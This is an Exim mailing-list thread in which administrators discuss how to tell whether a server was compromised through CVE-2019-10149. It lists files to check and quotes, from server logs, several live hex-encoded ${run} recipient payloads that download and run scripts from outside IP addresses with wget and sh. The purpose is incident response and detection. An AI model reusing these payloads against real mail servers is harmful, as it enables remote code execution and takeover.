Re: [exim] Detecting successful CVE-2019-10149 hack
On 7/23/2019 9:58 AM, Calum Mackay via Exim-users wrote:
hi Phillip,
If your Linux system was successfully hacked, you may see changes to:
/etc/cron.d/root
/etc/crontab
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
(or the Centos equivalent, above was from a Debian system)
Hi Calum,
Thanks for the response. I am fairly certain now that my server wasn't
successfully hacked. Because all direct addressee local parts are
logged, I am now convinced there were only the two instances my log
search revealed. And those were definitely stopped.
I have read that a different attack vector has been seen using
Envelope_To: local part instead of To:. I don't know that I fully
understand whether envelope processing follows a different path that
would avoid logging the local part before expansion.
However, I can't find any suspicious files or changes anywhere in the
system, and certainly not in the locations you listed. Actually I am
pretty certain csf would have logged an alert.
and also every 5 mins getting frozen messages:
The following address(es) have yet to be delivered:
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx:
Too many "Received" headers - suspected mail loop
Although perhaps not every successful hack case looks the same.
cheers,
calum.
The two instances in my logs have no command options at all on the wget
in the payload string. Nothing at all about certificate checking. Much
simpler attacks.
First:
root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2065.181.120.163\x2fstfinracu\x22}}@xxx
(This instance was temporarily rejected at connection because HELO and
host did not match. My config requires whitelisting of hosts that use
unmatched HELO. Until/unless whitelisted, they keep getting temporary
rejections. In this case the sending host ignored the response and
continued with the SMTP session anyway, ending with the two protocol
errors.)
Second:
root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x20199.204.214.40\x2fsbz\x2f45.79.89.203\x22}}@xxx
(This case was immediately rejected at connection due to IP being known
bad guy in spamhaus. However, like the first, it just continued on,
causing SMTP protocol errors.)
thanks again,
Phil
Phillip
On 23/07/2019 1:10 am, Carroll via Exim-users wrote:
Because I was quite tardy in updating from 4.91 to 4.92, I am faced
with the the question as to best procedure for determining if anyone
successfully hacked into my Centos 7 server.
(I updated in late June, still oblivious to the existence of the CVE.
A week later I learn about the CVE. C'est la vie.)
Googling hasn't yielded much in terms of what a sysop should look for.
I have exim logs going back many months. I searched those (case
insensitive) for the string "x2fbin", and also "${run". Both searches
found the exact same two instances of RCPT to a local part containing
a CVE-2019-10149 payoff string. (quite different from each other, but
all having essentially the same form) One was dated the week before I
updated to 4.92. The other was dated a week after updating.
In both instances, the found string was part of an error message:
"SMTP Protocol error in RCPT TO:sender not yet given
In the fist instance the RCPT error was immediately followed by the
error message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
In each instance the RCPT error was immediately followed by an error
message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
followed immediately by another error message:
SMTP protocol synchronization error (next input sent too soon:
pipelining was not advertised): rejected "Received: 1" ... next
input="Received: 2\r\nReceived: 3\r\nReceived: 4\r\nReceived:
5\r\nReceived: 6\r\nReceived: 7\r\nReceived: 8\r\nReceived:
9\r\nReceived: 10\r\nReceived: 11\r\nReceived: 12\r\nRece"
My first question is, do these indicate failed attempts, or could they
have succeeded? On the face, it appears they failed.
However, my second question would be whether, in a successful attempt,
the payoff string would even appear in the log or just get swallowed
up by exim executing the string? In which case, what do I look for to
eliminate that possibility?
GLTA
--
## List details at https://lists.exim.org/mailman/listinfo/exim-users
## Exim details at http://www.exim.org/
## Please use the Wiki with this list - http://wiki.exim.org/
Re: [exim] Detecting successful CVE-2019-10149 hack
hi Phillip,
If your Linux system was successfully hacked, you may see changes to:
/etc/cron.d/root
/etc/crontab
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
(or the Centos equivalent, above was from a Debian system)
and also every 5 mins getting frozen messages:
The following address(es) have yet to be delivered:
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx:
Too many "Received" headers - suspected mail loop
Although perhaps not every successful hack case looks the same.
cheers,
calum.
Phillip
On 23/07/2019 1:10 am, Carroll via Exim-users wrote:
Because I was quite tardy in updating from 4.91 to 4.92, I am faced with
the the question as to best procedure for determining if anyone
successfully hacked into my Centos 7 server.
(I updated in late June, still oblivious to the existence of the CVE. A
week later I learn about the CVE. C'est la vie.)
Googling hasn't yielded much in terms of what a sysop should look for.
I have exim logs going back many months. I searched those (case
insensitive) for the string "x2fbin", and also "${run". Both searches
found the exact same two instances of RCPT to a local part containing a
CVE-2019-10149 payoff string. (quite different from each other, but all
having essentially the same form) One was dated the week before I
updated to 4.92. The other was dated a week after updating.
In both instances, the found string was part of an error message:
"SMTP Protocol error in RCPT TO:not yet given
In the fist instance the RCPT error was immediately followed by the
error message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
In each instance the RCPT error was immediately followed by an error
message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
followed immediately by another error message:
SMTP protocol synchronization error (next input sent too soon:
pipelining was not advertised): rejected "Received: 1" ... next
input="Received: 2\r\nReceived: 3\r\nReceived: 4\r\nReceived:
5\r\nReceived: 6\r\nReceived: 7\r\nReceived: 8\r\nReceived:
9\r\nReceived: 10\r\nReceived: 11\r\nReceived: 12\r\nRece"
My first question is, do these indicate failed attempts, or could they
have succeeded? On the face, it appears they failed.
However, my second question would be whether, in a successful attempt,
the payoff string would even appear in the log or just get swallowed up
by exim executing the string? In which case, what do I look for to
eliminate that possibility?
GLTA
--
## List details at https://lists.exim.org/mailman/listinfo/exim-users
## Exim details at http://www.exim.org/
## Please use the Wiki with this list - http://wiki.exim.org/
[exim] Detecting successful CVE-2019-10149 hack
Because I was quite tardy in updating from 4.91 to 4.92, I am faced with
the the question as to best procedure for determining if anyone
successfully hacked into my Centos 7 server.
(I updated in late June, still oblivious to the existence of the CVE. A
week later I learn about the CVE. C'est la vie.)
Googling hasn't yielded much in terms of what a sysop should look for.
I have exim logs going back many months. I searched those (case
insensitive) for the string "x2fbin", and also "${run". Both searches
found the exact same two instances of RCPT to a local part containing a
CVE-2019-10149 payoff string. (quite different from each other, but all
having essentially the same form) One was dated the week before I
updated to 4.92. The other was dated a week after updating.
In both instances, the found string was part of an error message:
"SMTP Protocol error in RCPT TO:not yet given
In the fist instance the RCPT error was immediately followed by the
error message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
In each instance the RCPT error was immediately followed by an error
message:
SMTP protocol error in "DATA" ... valid RCPT command must precede DATA
followed immediately by another error message:
SMTP protocol synchronization error (next input sent too soon:
pipelining was not advertised): rejected "Received: 1" ... next
input="Received: 2\r\nReceived: 3\r\nReceived: 4\r\nReceived:
5\r\nReceived: 6\r\nReceived: 7\r\nReceived: 8\r\nReceived:
9\r\nReceived: 10\r\nReceived: 11\r\nReceived: 12\r\nRece"
My first question is, do these indicate failed attempts, or could they
have succeeded? On the face, it appears they failed.
However, my second question would be whether, in a successful attempt,
the payoff string would even appear in the log or just get swallowed up
by exim executing the string? In which case, what do I look for to
eliminate that possibility?
GLTA
--
## List details at https://lists.exim.org/mailman/listinfo/exim-users
## Exim details at http://www.exim.org/
## Please use the Wiki with this list - http://wiki.exim.org/
